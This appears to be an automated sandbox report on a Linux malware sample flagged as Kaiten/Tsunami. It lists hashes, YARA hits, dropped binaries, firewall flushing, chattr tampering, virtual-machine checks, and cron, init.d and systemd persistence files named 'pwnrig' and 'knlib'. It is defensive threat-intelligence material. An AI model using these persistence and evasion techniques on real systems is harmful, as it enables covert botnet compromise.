Analysis
-
max time kernel
149s -
max time network
149s -
platform
ubuntu-20.04_amd64 -
resource
ubuntu2004-amd64-20240221-en -
resource tags
arch:amd64arch:i386image:ubuntu2004-amd64-20240221-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system -
submitted
12-03-2024 17:30
Behavioral task
behavioral1
Sample
bin.elf
Resource
ubuntu2004-amd64-20240221-en
General
-
Target
bin.elf
-
Size
7.0MB
-
MD5
c91421f0d68095890b50a034dbf9d060
-
SHA1
624e0d9c94309de8d038b2e21cf07685d2020fdb
-
SHA256
2f1854f309c913068700c0c3efec3a84ea48e62393df38bab9c8233053e2b19b
-
SHA512
63d174cf0ba590aa836a9c4490ef7982d7590d8fcf9f67b8a8021dc23755a4aecf16805a12679e566d6d6bec45a4d3344d62197a7f3c6660c46812594888bd88
-
SSDEEP
49152:FdvgYnvuqgrb/TGvO90dL3BmAFd4A64nsfJYgJi1QjpzkpDKzBzQgQHDSZ/+/A5X:YqpgxDFnEqZJvlNiPt9y7LxXk5prrT
Malware Config
Signatures
-
Detects Kaiten/Tsunami Payload 12 IoCs
resource yara_rule behavioral1/memory/1824-1-0x00007f612ffaa000-0x00007f612ffbe700-memory.dmp family_kaiten2 behavioral1/memory/2345-4-0x00007f02bcf12000-0x00007f02bcf26700-memory.dmp family_kaiten2 behavioral1/memory/2833-7-0x00007f496782b000-0x00007f496783f700-memory.dmp family_kaiten2 behavioral1/memory/3422-10-0x00007f5b15f9c000-0x00007f5b15fb0700-memory.dmp family_kaiten2 behavioral1/memory/3866-13-0x00007fa2d64ea000-0x00007fa2d64fe700-memory.dmp family_kaiten2 behavioral1/memory/4321-16-0x00007fb1a187c000-0x00007fb1a1890700-memory.dmp family_kaiten2 behavioral1/memory/4767-19-0x00007f0d1d295000-0x00007f0d1d2a9700-memory.dmp family_kaiten2 behavioral1/memory/5211-22-0x00007f8ebce08000-0x00007f8ebce1c700-memory.dmp family_kaiten2 behavioral1/memory/6079-27-0x00007fb4959d8000-0x00007fb4959ec700-memory.dmp family_kaiten2 behavioral1/memory/6111-28-0x00007eff221b3000-0x00007eff221c7700-memory.dmp family_kaiten2 behavioral1/memory/6557-31-0x00007fb439fa4000-0x00007fb439fb8700-memory.dmp family_kaiten2 behavioral1/memory/7003-34-0x00007f88c7783000-0x00007f88c7797700-memory.dmp family_kaiten2 -
Detects Kaiten/Tsunami payload 12 IoCs
resource yara_rule behavioral1/memory/1824-1-0x00007f612ffaa000-0x00007f612ffbe700-memory.dmp family_kaiten behavioral1/memory/2345-4-0x00007f02bcf12000-0x00007f02bcf26700-memory.dmp family_kaiten behavioral1/memory/2833-7-0x00007f496782b000-0x00007f496783f700-memory.dmp family_kaiten behavioral1/memory/3422-10-0x00007f5b15f9c000-0x00007f5b15fb0700-memory.dmp family_kaiten behavioral1/memory/3866-13-0x00007fa2d64ea000-0x00007fa2d64fe700-memory.dmp family_kaiten behavioral1/memory/4321-16-0x00007fb1a187c000-0x00007fb1a1890700-memory.dmp family_kaiten behavioral1/memory/4767-19-0x00007f0d1d295000-0x00007f0d1d2a9700-memory.dmp family_kaiten behavioral1/memory/5211-22-0x00007f8ebce08000-0x00007f8ebce1c700-memory.dmp family_kaiten behavioral1/memory/6079-27-0x00007fb4959d8000-0x00007fb4959ec700-memory.dmp family_kaiten behavioral1/memory/6111-28-0x00007eff221b3000-0x00007eff221c7700-memory.dmp family_kaiten behavioral1/memory/6557-31-0x00007fb439fa4000-0x00007fb439fb8700-memory.dmp family_kaiten behavioral1/memory/7003-34-0x00007f88c7783000-0x00007f88c7797700-memory.dmp family_kaiten -
Executes dropped EXE 37 IoCs
ioc pid Process /etc/init.d/knlib 1689 knlib /tmp/sys-helper 1824 sys-helper /tmp/service-agent 1828 service-agent /tmp/service-agent 2130 service-agent /tmp/sys-helper 2345 sys-helper /tmp/service-agent 2346 service-agent /tmp/service-agent 2691 service-agent /tmp/sys-helper 2833 sys-helper /tmp/service-agent 2834 service-agent /tmp/service-agent 3196 service-agent /tmp/sys-helper 3422 sys-helper /tmp/service-agent 3423 service-agent /tmp/service-agent 3768 service-agent /tmp/sys-helper 3866 sys-helper /tmp/service-agent 3867 service-agent /tmp/service-agent 4222 service-agent /tmp/sys-helper 4321 sys-helper /tmp/service-agent 4322 service-agent /tmp/service-agent 4667 service-agent /tmp/sys-helper 4767 sys-helper /tmp/service-agent 4768 service-agent /tmp/service-agent 5113 Process not Found /tmp/sys-helper 5211 Process not Found /tmp/service-agent 5212 Process not Found /tmp/service-agent 5557 Process not Found /tmp/service-agent 5656 Process not Found /tmp/service-agent 6001 Process not Found /tmp/sys-helper 6079 Process not Found /tmp/sys-helper 6111 Process not Found /tmp/service-agent 6112 Process not Found /tmp/service-agent 6457 Process not Found /tmp/sys-helper 6557 Process not Found /tmp/service-agent 6558 Process not Found /tmp/service-agent 6903 Process not Found /tmp/sys-helper 7003 Process not Found /tmp/service-agent 7004 Process not Found /tmp/service-agent 7349 Process not Found -
Flushes firewall rules 3 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 1503 ufw 1684 iptables 5272 Process not Found -
ioc pid Process /usr/lib/modules/5.4.0-169-generic/kernel/net/ipv6/netfilter/ip6_tables.ko 1511 modprobe -
Reads EFI boot settings 64 IoCs
Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.
description ioc Process File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found -
resource yara_rule behavioral1/files/fstream-6.dat upx behavioral1/files/fstream-15.dat upx behavioral1/files/fstream-18.dat upx behavioral1/files/fstream-33.dat upx -
Attempts to change immutable files 64 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 6930 Process not Found 3852 chattr 4246 sh 5356 Process not Found 6154 Process not Found 6110 Process not Found 2390 sed 3427 hostname 3868 sh 6025 Process not Found 2715 sh 4320 chattr 6101 Process not Found 6562 Process not Found 7043 Process not Found 7207 Process not Found 4314 chattr 5199 Process not Found 5705 Process not Found 6990 Process not Found 2393 chattr 2554 sed 4694 hostname 6105 Process not Found 6556 Process not Found 2347 sh 4307 chattr 4754 chattr 5584 Process not Found 3865 chattr 6552 Process not Found 6759 Process not Found 4810 chattr 6151 Process not Found 6997 Process not Found 7213 Process not Found 1992 sed 2402 chattr 2838 hostname 4753 chattr 5650 Process not Found 2876 chattr 3632 chattr 3909 chattr 4764 chattr 6555 Process not Found 1987 chattr 3854 chattr 4319 chattr 6554 Process not Found 6099 Process not Found 1685 chattr 1837 sh 3220 sh 4525 chattr 4068 chattr 6103 Process not Found 7048 Process not Found 2388 chattr 2881 chattr 2883 chattr 3626 chattr 6156 Process not Found 6767 Process not Found -
Checks CPU configuration 1 TTPs 64 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo Process not Found File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo service-agent -
Checks hardware identifiers (DMI) 1 TTPs 64 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/bios_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_name Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_name Process not Found File opened for reading /sys/devices/virtual/dmi/id/bios_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_name Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/sys_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_name Process not Found File opened for reading /sys/devices/virtual/dmi/id/sys_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/bios_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_name Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_name Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name Process not Found File opened for reading /sys/devices/virtual/dmi/id/bios_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/sys_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/bios_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/bios_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/bios_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/sys_vendor Process not Found -
Creates/modifies Cron job 1 TTPs 54 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.z6BXYp crontab File opened for modification /etc/cron.d/.lib-knlib4 bin.elf File opened for modification /etc/cron.monthly/.lib-knlib4 bin.elf File opened for modification /etc/cron.monthly/.lib-knlib4 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.x35qQ4 Process not Found File opened for modification /etc/cron.d/pwnrig Process not Found File opened for modification /etc/cron.d/pwnrig tee File opened for modification /etc/cron.monthly/sedGqzl7n Process not Found File opened for modification /var/spool/cron/.lib-knlib4 bin.elf File opened for modification /etc/cron.weekly/.lib-knlib4 bin.elf File opened for modification /etc/cron.d/sedBP8KE7 sed File opened for modification /etc/cron.monthly/sedo2wG7G sed File opened for modification /etc/cron.weekly/sedFtbJbI sed File opened for modification /var/spool/cron/crontabs/tmp.y8kWZw crontab File opened for modification /etc/cron.hourly/.lib-knlib4 bin.elf File opened for modification /etc/cron.monthly/sed1W7VH6 sed File opened for modification /etc/cron.hourly/sedHaDe5D sed File opened for modification /etc/cron.daily/.lib-knlib4 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.YyRHLQ Process not Found File opened for modification /etc/cron.hourly/pwnrig tee File opened for modification /etc/cron.monthly/pwnrig tee File opened for modification /etc/cron.daily/sed3CDik7 sed File opened for modification /etc/cron.daily/sedtyjCmF sed File opened for modification /etc/cron.d/.lib-knlib4 Process not Found File opened for modification /etc/cron.hourly/pwnrig Process not Found File opened for modification /etc/cron.weekly/pwnrig Process not Found File opened for modification /var/spool/cron/crontabs/tmp.Um5hOz Process not Found File opened for modification /var/spool/cron/crontabs/tmp.bvPhct crontab File opened for modification /etc/cron.daily/pwnrig tee File opened for modification /etc/cron.hourly/pwnrig tee File opened for modification /var/spool/cron/crontabs/tmp.uG1ODm crontab File opened for modification /etc/cron.weekly/sedeHmIfp Process not Found File opened for modification /var/spool/cron/crontabs/tmp.K9QX4o crontab File opened for modification /etc/cron.weekly/.lib-knlib4 Process not Found File opened for modification /etc/cron.daily/.lib-knlib4 bin.elf File opened for modification /etc/cron.weekly/sedXxaVK5 sed File opened for modification /var/spool/cron/crontabs/tmp.lZ8ZuQ crontab File opened for modification /var/spool/cron/crontabs/tmp.4CeyTO crontab File opened for modification /etc/cron.monthly/pwnrig Process not Found File opened for modification /var/spool/cron/crontabs/tmp.aEH4AJ Process not Found File opened for modification /etc/cron.hourly/sedLmNvR5 sed File opened for modification /etc/cron.d/sedykFjkI sed File opened for modification /etc/cron.d/sedyK8Php Process not Found File opened for modification /etc/cron.daily/sedFAsodp Process not Found File opened for modification /etc/cron.daily/pwnrig tee File opened for modification /etc/cron.hourly/.lib-knlib4 Process not Found File opened for modification /etc/cron.d/pwnrig tee File opened for modification /etc/cron.weekly/pwnrig tee File opened for modification /etc/cron.monthly/pwnrig tee File opened for modification /etc/cron.weekly/pwnrig tee File opened for modification /var/spool/cron/.lib-knlib4 Process not Found File opened for modification /etc/cron.daily/pwnrig Process not Found File opened for modification /etc/cron.hourly/sed8vFBcn Process not Found File opened for modification /var/spool/cron/crontabs/tmp.76PZN8 Process not Found -
Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for modification /etc/init.d/pwnrig tee File opened for modification /etc/init.d/sedvpRQDA sed File opened for modification /etc/init.d/pwnrig Process not Found File opened for modification /etc/init.d/sedZA07xn sed File opened for modification /etc/init.d/sedkLVPJv sed File opened for modification /etc/init.d/pwnrig tee File opened for modification /etc/init.d/sed4JhP4U sed File opened for modification /etc/init.d/sedsCdbEH Process not Found File opened for modification /etc/init.d/pwnrig tee File opened for modification /etc/init.d/sednfoUuV sed File opened for modification /etc/init.d/pwnrig tee File opened for modification /etc/init.d/sedyqSebu sed File opened for modification /etc/init.d/sedKEWDdL Process not Found File opened for modification /etc/init.d/pwnrig Process not Found File opened for modification /etc/init.d/knlib bin.elf File opened for modification /etc/init.d/pwnrig tee File opened for modification /etc/init.d/pwnrig tee File opened for modification /etc/init.d/pwnrig tee File opened for modification /etc/init.d/pwnrig Process not Found File opened for modification /etc/init.d/pwnrig Process not Found File opened for modification /etc/init.d/sedh6DgnZ Process not Found File opened for modification /etc/init.d/sedSRbc20 sed -
Modifies systemd 1 TTPs 23 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/pwnrige.service tee File opened for modification /etc/systemd/system/pwnrige.service tee File opened for modification /etc/systemd/system/pwnrige.service Process not Found File opened for modification /etc/systemd/system/pwnrige.service Process not Found File opened for modification /etc/systemd/system/pwnrige.service tee File opened for modification /etc/systemd/system/pwnrige.service tee File opened for modification /etc/systemd/system/pwnrige.service tee File opened for modification /etc/systemd/system/pwnrige.service tee File opened for modification /lib/systemd/system/pwnrigl.service Process not Found File opened for modification /etc/systemd/system/pwnrige.service Process not Found File opened for modification /lib/systemd/system/pwnrigl.service Process not Found File opened for modification /lib/systemd/system/pwnrigl.service tee File opened for modification /lib/systemd/system/pwnrigl.service tee File opened for modification /lib/systemd/system/pwnrigl.service tee File opened for modification /lib/systemd/system/pwnrigl.service Process not Found File opened for modification /etc/systemd/system/pwnrige.service Process not Found File opened for modification /lib/systemd/system/pwnrigl.service Process not Found File opened for modification /etc/systemd/system/pwnrige.service Process not Found File opened for modification /etc/systemd/system/knlibe.service bin.elf File opened for modification /lib/systemd/system/pwnrigl.service tee File opened for modification /lib/systemd/system/pwnrigl.service tee File opened for modification /lib/systemd/system/pwnrigl.service Process not Found File opened for modification /lib/systemd/system/pwnrigl.service tee -
Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/types service-agent File opened for reading /sys/devices/system/cpu/types service-agent File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/types Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/types service-agent File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/types Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/possible Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/types service-agent File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online service-agent File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/types service-agent File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/possible service-agent File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/possible Process not Found File opened for reading /sys/devices/system/cpu/types Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online service-agent File opened for reading /sys/devices/system/cpu/online service-agent File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/possible service-agent File opened for reading /sys/devices/system/cpu/possible service-agent File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/types Process not Found File opened for reading /sys/devices/system/cpu/possible Process not Found File opened for reading /sys/devices/system/cpu/possible Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/possible Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online pkill -
